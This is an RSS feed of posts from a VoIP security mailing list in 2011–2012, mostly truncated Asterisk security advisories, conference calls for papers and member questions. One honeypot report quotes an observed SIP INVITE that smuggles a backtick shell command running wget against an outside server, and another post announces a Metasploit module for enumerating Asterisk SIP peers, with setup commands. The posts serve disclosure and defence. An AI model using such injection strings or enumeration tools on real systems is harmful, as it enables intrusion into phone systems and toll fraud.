<?xml version="1.0" encoding="UTF-8"?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://purl.org/rss/1.0/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:syn="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/">
  <channel rdf:about="http://blog.gmane.org/gmane.comp.voip.security.voipsa">
    <title>gmane.comp.voip.security.voipsa</title>
    <link>http://blog.gmane.org/gmane.comp.voip.security.voipsa</link>
    <description/>
    <syn:updatePeriod>hourly</syn:updatePeriod>
    <syn:updateFrequency>1</syn:updateFrequency>
    <syn:updateBase>1901-01-01T00:00+00:00</syn:updateBase>
    <items>
      <rdf:Seq>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3153"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3141"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3123"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3122"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3121"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3120"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3119"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3118"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3117"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3113"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3112"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3111"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3110"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3109"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3108"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3107"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3105"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3104"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3096"/>
        <rdf:li rdf:resource="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3095"/>
      </rdf:Seq>
    </items>
    <image rdf:resource="http://gmane.org/img/gmane-25t.png"/>
    <textinput rdf:resource=""/>
  </channel>
  <image rdf:about="http://gmane.org/img/gmane-25t.png">
    <title>Gmane</title>
    <url>http://gmane.org/img/gmane-25t.png</url>
    <link>http://gmane.org</link>
  </image>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3153">
    <title>Job</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3153</link>
    <description>&lt;pre&gt;To whom it may concern:
I'm in need of a job, can anyone help me find employment in Illinois?
&lt;/pre&gt;</description>
    <dc:creator>LaFron Aldridge</dc:creator>
    <dc:date>2012-05-03T16:58:54</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3141">
    <title>WebRTC and Security</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3141</link>
    <description>&lt;pre&gt;Hi all,

for anyone interested in future voip security related stuff, i would
suggest to join the IETF Rtcweb mailing lists, as in recent months there
are very challenging discussion on Security of WebRTC standard
(Encrypted VoIP embedded in all future browsers).

Subscription on https://www.ietf.org/mailman/listinfo/rtcweb

-naif
&lt;/pre&gt;</description>
    <dc:creator>Fabio Pietrosanti (naif</dc:creator>
    <dc:date>2012-05-02T20:47:38</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3123">
    <title>Testing the VOIPSEC list</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3123</link>
    <description>&lt;pre&gt;VOIPSEC readers,

Just testing the list as the archives do not appear to be working for the list.

(And hey, giving you all a reminder that you are still on this list! :-)

Regards,
Dan

&lt;/pre&gt;</description>
    <dc:creator>Dan York</dc:creator>
    <dc:date>2012-05-02T15:37:44</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3122">
    <title>AST-2012-005: Heap Buffer Overflow in Skinny ChannelDriver</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3122</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2012-005

          Product         Asterisk                                            
          Summary         Heap Buffer Overflow in Skinny Channel Driver       
     Nature of Advisory   Exploitable Heap Buffer Overflow                    
       Susceptibility     Remote Authenticated Sessions                       
          Severity        Minor                                               
       Exploits Known     No                                                  
        Reported On       March 26, 2012                                      
        Reported By       Russell Bryant                                      
         Posted On        April 23, 2012                                      
      Last Updated On     April 23, 2012                                      
      Advisory Contact    Matt Jordan &amp;lt; mjordan AT digium DOT com &amp;gt;           
          CVE Name        

    Description  In the Skinny channel driver, KEYPAD_BUTTON&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2012-04-23T18:25:30</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3121">
    <title>AST-2012-006: Remote Crash Vulnerability in SIP ChannelDriver</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3121</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2012-006

          Product         Asterisk                                            
          Summary         Remote Crash Vulnerability in SIP Channel Driver    
     Nature of Advisory   Remote Crash                                        
       Susceptibility     Remote Authenticated Sessions                       
          Severity        Moderate                                            
       Exploits Known     No                                                  
        Reported On       April 16, 2012                                      
        Reported By       Thomas Arimont                                      
         Posted On        April 23, 2012                                      
      Last Updated On     April 23, 2012                                      
      Advisory Contact    Matt Jordan &amp;lt; mjordan AT digium DOT com &amp;gt;           
          CVE Name        

    Description  A remotely exploitable crash vulnerability &lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2012-04-23T18:25:34</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3120">
    <title>AST-2012-004: Asterisk Manager User Unauthorized ShellAccess</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3120</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2012-004

          Product         Asterisk                                            
          Summary         Asterisk Manager User Unauthorized Shell Access     
     Nature of Advisory   Permission Escalation                               
       Susceptibility     Remote Authenticated Sessions                       
          Severity        Minor                                               
       Exploits Known     No                                                  
        Reported On       February 23, 2011                                   
        Reported By       David Woolley                                       
         Posted On        April 23, 2012                                      
      Last Updated On     April 23, 2012                                      
      Advisory Contact    Jonathan Rose &amp;lt; jrose AT digium DOT com &amp;gt;           
          CVE Name        

    Description  A user of the Asterisk Manager Interface ca&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2012-04-23T18:25:22</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3119">
    <title>How to Configure the New Call Blocking Asterisk Collector</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3119</link>
    <description>&lt;pre&gt;How to Configure the New Call Blocking Asterisk Collector

http://www.humbuglabs.org/blog/2012/03/20/how-to-configure-the-new-call-blocking-asterisk-collector/

Humbug Telecom Labs has released the Silver Hawk version of our collector
for Asterisk based systems

This new collector enables companies running Asterisk version 1.4 (or
later) to benefit from Humbug’s fraud blocking service. The blocking is
currently available for the following alerts:

For Asterisk version 1.4 and up:

   - Business Hours
   - Time Range

For Asterisk versions 1.6 and up:

   - Blacklist
   - Community Blacklist
   - Blacklist Country

We will be expanding to cover all our alerts in the near future. For more
details about the features in the latest release please see our blog about
it &amp;lt;http://www.humbuglabs.org/blog/2012/02/26/introducing-the-silver-hawk/&amp;gt;.

Essentially, when a call is made from the PBX, the humbug plug-in
authenticates the call against the configured rules of these alerts, and if
a deviation is found then it d&lt;/pre&gt;</description>
    <dc:creator>Eric Klein</dc:creator>
    <dc:date>2012-03-21T12:27:48</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3118">
    <title>AST-2012-003: Stack Buffer Overflow in HTTP Manager</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3118</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2012-003

          Product         Asterisk                                            
          Summary         Stack Buffer Overflow in HTTP Manager               
     Nature of Advisory   Exploitable Stack Buffer Overflow                   
       Susceptibility     Remote Unauthenticated Sessions                     
          Severity        Critical                                            
       Exploits Known     No                                                  
        Reported On       03/15/2012                                          
        Reported By       Russell Bryant                                      
         Posted On        03/15/2012                                          
      Last Updated On     March 15, 2012                                      
      Advisory Contact    Matt Jordan &amp;lt; mjordan AT digium DOT com &amp;gt;           
          CVE Name        

    Description  An attacker attempting to connect to an HTT&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2012-03-15T22:05:33</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3117">
    <title>AST-2012-002: Remote Crash Vulnerability in MilliwattApplication</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3117</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2012-002

         Product        Asterisk                                              
         Summary        Remote Crash Vulnerability in Milliwatt Application   
    Nature of Advisory  Exploitable Stack Buffer Overflow with locally        
                        defined data                                          
      Susceptibility    Remote Unauthenticated Sessions                       
         Severity       Minor                                                 
      Exploits Known    No                                                    
       Reported On      03/14/2012                                            
       Reported By      Russell Bryant                                        
        Posted On       03/15/2012                                            
     Last Updated On    March 15, 2012                                        
     Advisory Contact   Matt Jordan &amp;lt;mjordan AT digium DOT com&amp;gt;               
         &lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2012-03-15T22:04:45</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3113">
    <title>Exploit for Asterisk Security Advisory AST-2011-013</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3113</link>
    <description>&lt;pre&gt;A Metasploit module is attached that demonstrates how to enumerate
Asterisk sip peers that have a nat setting different to the global sip
nat setting as described in Asterisk Security Advisory AST-2011-013.

The example below finds all peers with nat=yes, but the metasploit module
will also work when global nat=yes and peers have nat=no.

Vulnerability discovered and exploit created by Ben Williams.
References:
    http://downloads.asterisk.org/pub/security/AST-2011-013.html
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4597




Example sip.conf:

[general]
context=default
alwaysauthreject = yes

[1000]
nat=yes
type=peer
secret=12345cdsf0sd9r2e9
callerid=John Doe &amp;lt;1000&amp;gt;
host=dynamic
context=trusted

[1001]
nat=yes
secret=12345
type=peer
host=dynamic

[1002]
secret=12345a
type=peer
host=dynamic



# svn co https://www.metasploit.com/svn/framework3/trunk/
# cp enumerator_asterisk_nat_peers.rb trunk/modules/auxiliary/scanner/sip/
# cd trunk
# msfconsole


MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMM&lt;/pre&gt;</description>
    <dc:creator>Ben Williams</dc:creator>
    <dc:date>2011-12-22T19:23:27</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3112">
    <title>[CFP] FRHACK Africa 2012 Call For Papers</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3112</link>
    <description>&lt;pre&gt;[CFP] FRHACK Africa 2012 Call For Papers

                        ,.
            .           :%%%.    .%%%.
        __%%%(\        `%%%%%   .%%%%%
      /a  ^  '%        %%%% %: ,%  %%"`
     '__..  ,'%     .-%:     %-'    %
      ~~""%:. `     % '          .   `.
          %% % `   %%           .%:  . \.
           %%:. `-'   `        .%% . %: :\
           %(%,%..."   `%,     %%'   %% ) )
            %)%%)%%'   )%%%.....- '   "/ (
            %a:f%%\ % / \`%  "%%% `   / \))
             %(%'  % /-. \      '  \ |-. '.
             `'    |%   `()         \|  `()
                   ||    /          ()   /
                   ()   0            |  o
                    \  /\            o /
                    o  `            /-|
                 ,-/ `           ,-/

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ FRHACK Africa
+ Call For Papers
+ June 1-2, 2012, Casablanca, Morocco, Africa
+ http://www.frhack.org
+++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/pre&gt;</description>
    <dc:creator>Jerome Athias</dc:creator>
    <dc:date>2011-12-10T13:29:54</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3111">
    <title>AST-2011-014: Remote crash possibility with SIP and the “automon” feature enabled</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3111</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2011-014

         Product        Asterisk                                              
         Summary        Remote crash possibility with SIP and the "automon"   
                        feature enabled                                       
    Nature of Advisory  Remote crash vulnerability in a feature that is       
                        disabled by default                                   
      Susceptibility    Remote unauthenticated sessions                       
         Severity       Moderate                                              
      Exploits Known    Yes                                                   
       Reported On      November 2, 2011                                      
       Reported By      Kristijan Vrban                                       
        Posted On       2011-11-03                                            
     Last Updated On    December 7, 2011                                      
     Advi&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2011-12-08T22:48:55</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3110">
    <title>AST-2011-013: Possible remote enumeration of SIPendpoints with differing NAT settings</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3110</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2011-013

         Product        Asterisk                                              
         Summary        Possible remote enumeration of SIP endpoints with     
                        differing NAT settings                                
    Nature of Advisory  Unauthorized data disclosure                          
      Susceptibility    Remote unauthenticated sessions                       
         Severity       Minor                                                 
      Exploits Known    Yes                                                   
       Reported On      2011-07-18                                            
       Reported By      Ben Williams                                          
        Posted On       
     Last Updated On    December 7, 2011                                      
     Advisory Contact   Terry Wilson &amp;lt;twilson&amp;lt; at &amp;gt;digium.com&amp;gt;                     
         CVE Name       

    Description  It is possible to en&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2011-12-08T22:47:42</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3109">
    <title>CanSecWest 2012 Mar 7-9;2nd call for papers, closes next week, Monday. Dec 5 2011</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3109</link>
    <description>&lt;pre&gt;So after a dozen years or so organizing conferences, you 
get the urge to pull levers and try experimenting with 
things. So this year I sent out the CanSecWest CFP 
only over Twitter, and G+ publicly. Just curious as to the 
adoption and information dispersion rate, and some 
estimate of the attention these newer channels are getting.

So after this experiment I hear about people having 
submissions and missing  the CFP. So for my control set, 
here is the normal announce message to different e-mail 
lists. We'll do a Second CanSecWest CFP, but a brief one. 
Send us your proposal by the end of Monday next week, 
December 5, 2011.

The questions and information needed is the same as 
usual (see website), also for my curiosity could you 
include:

12. Where did you hear about the CFP from?

cheers,
--dr

&lt;/pre&gt;</description>
    <dc:creator>Dragos Ruiu</dc:creator>
    <dc:date>2011-11-30T02:04:38</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3108">
    <title>AST-2011-012: Remote crash vulnerability in SIP channeldriver</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3108</link>
    <description>&lt;pre&gt;               Asterisk Project Security Advisory - AST-2011-012

          Product         Asterisk                                            
          Summary         Remote crash vulnerability in SIP channel driver    
     Nature of Advisory   Remote crash                                        
       Susceptibility     Remote authenticated sessions                       
          Severity        Critical                                            
       Exploits Known     No                                                  
        Reported On       October 4, 2011                                     
        Reported By       Ehsan Foroughi                                      
         Posted On        October 17, 2011                                    
      Last Updated On     October 17, 2011                                    
      Advisory Contact    Terry Wilson &amp;lt;twilson&amp;lt; at &amp;gt;digium.com&amp;gt;                   
          CVE Name        CVE-2011-4063                                       

    Desc&lt;/pre&gt;</description>
    <dc:creator>Asterisk Security Team</dc:creator>
    <dc:date>2011-10-17T17:44:25</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3107">
    <title>Testing Mitel VOIP systems</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3107</link>
    <description>&lt;pre&gt;Hi
Does anyone have any good resources for testing Mitel VOIP systems?
I'm looking for anything from good practice installation guides
through to tools to help attack phones or the call server.

Anything anyone has got would be good.

Robin
&lt;/pre&gt;</description>
    <dc:creator>Robin Wood</dc:creator>
    <dc:date>2011-10-08T18:35:45</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3105">
    <title>Come to SIPit to run tests on TLS and SRTP and discuss</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3105</link>
    <description>&lt;pre&gt;Friends,
The last weeks I've been trying to dive into the various SIP RFCs to get an overview of the TLS implementation and try to understand security aspects. It's really hard work, so I understand why so few implementors get there or when they do, do it right.

SIPit is a bi-annual test event for SIP interoperability. The next event is in Monaco, Europe at the end of October this year. I will participate there and focus on VoIP security as well as IPv6. We have built some do-it-yourself testbeds and will continue with group tests in order to try to understand issues involved and where to go next.

Customers need at least first hop TLS and SRTP to work as expected. They also need interoperability between devices. To get interoperability, everyone needs to work with it. It just doesn't happen by accident. SIPit has been organised twice a year for 15 years in order to get the amount of interoperability we have today in SIP.

If you develop SIP software or devices - register for SIPit now. If you are a custome&lt;/pre&gt;</description>
    <dc:creator>Olle E. Johansson</dc:creator>
    <dc:date>2011-09-30T09:00:36</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3104">
    <title>test tool for my Cisco Call Manager</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3104</link>
    <description>&lt;pre&gt;Dear member of Voip SA,

I need your help about test security on Ip-Telephony with Cisco Call Manager
Rel 7, Ip-Phone 7940-7911, and Router Cisco 2800 series with 12.4 ios with 2
wic Bri Interface and 1wic xDSL interface. No firewall on the Fe0/1 and
there are 2 Vlan: vlan Voice and Vlan Data. But
despite this we have been a fraud from about 6000 euros. Could you help me
about a tool test so I call the installer and I ask you to correct the
problem? Thanks,
reagards Paolo
Digita il testo o l'indirizzo di un sito web oppure traduci un
documento&amp;lt;http://translate.google.it/?tr=f&amp;amp;hl=it&amp;gt;
.
Annulla &amp;lt;http://translate.google.it/?tr=t&amp;amp;hl=it&amp;gt;
Traduzione da italiano verso inglese
&lt;/pre&gt;</description>
    <dc:creator>Paolo Caramori</dc:creator>
    <dc:date>2011-09-18T10:42:03</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3096">
    <title>Possibly new SIP/URI shell injection scan/attack</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3096</link>
    <description>&lt;pre&gt;Someone on the Asterisk mailing lists suggested I post this observation here.

On my SIP honeypot, I saw a new (to my eyes) embedded shell injection
scan as follows:

INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`&amp;lt; at &amp;gt;x.x.x.x
SIP/2.0.

I suspect that the 91.223.89.94 is strictly a web server being used to
collect logs of vulnerable hosts (vulnerable
to the shell injection as it parses the received URI).

Someone SIP/PBX framework is probably vulnerable to that sort of shell
injection and this scan is the collection process to
identify hosts available for further shell injection attacks.

the V.php appears to be a NOOP for the time being, hence my suggestion
that it is strictly to populate a web server log with
vulnerable hosts.
&lt;/pre&gt;</description>
    <dc:creator>Tom Browning</dc:creator>
    <dc:date>2011-09-12T14:19:09</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3095">
    <title>VoIP Abuse to Twitter</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3095</link>
    <description>&lt;pre&gt;Apologies for cross posting but some of us aren't on the other list
(vice/versa) and thought both groups would benefit.

For those familiar with the VoIP Abuse Project, no need to explain the
gist of this. I got tired of parsing through the alerts (lists) I
receive via email daily. They're long and sometimes I don't have the
time to post them all. So for now, posting VoIP Abuse addresses straight
to Twitter.

So, anyone trying to compromise a pbx, is now autoposted on an hourly
basis to Twitter. Still working on pulling, have about 4 machines linked
up now, will mop em up during the week.

http://twitter.com/#!/voipabuse

Now, you can concoct a quick script off of it, e.g.:

links -dump "http://twitter.com/voipabuse"|awk '/attacker/{print
"iptables -A INPUT -s "$2" -j DROP"| "sort -u"}'

Will get a quickie soon from my Acme's, nCites, etc. when I have time.

For those NOT familiar with it, please Google it as I don't feel like
typing anymore ;) (sorry)

&lt;/pre&gt;</description>
    <dc:creator>J. Oquendo</dc:creator>
    <dc:date>2011-08-22T20:25:06</dc:date>
  </item>
  <item rdf:about="http://comments.gmane.org/gmane.comp.voip.security.voipsa/3094">
    <title>tls srtp scalability test</title>
    <link>http://comments.gmane.org/gmane.comp.voip.security.voipsa/3094</link>
    <description>&lt;pre&gt;Hi,

Is there tools to compare asterisk tls-srtp QoS compared to asterisk without
it in large scale? maybe simulate lots of calls?

Thank you,

Arif
&lt;/pre&gt;</description>
    <dc:creator>arif setiawan</dc:creator>
    <dc:date>2011-08-11T04:14:41</dc:date>
  </item>
  <textinput rdf:about="http://search.gmane.org/?group=$group=gmane.comp.voip.security.voipsa">
    <title>Search Engine</title>
    <description>Search the mailing list at Gmane</description>
    <name>query</name>
    <link>http://search.gmane.org/?group=$group=gmane.comp.voip.security.voipsa</link>
  </textinput>
</rdf:RDF>

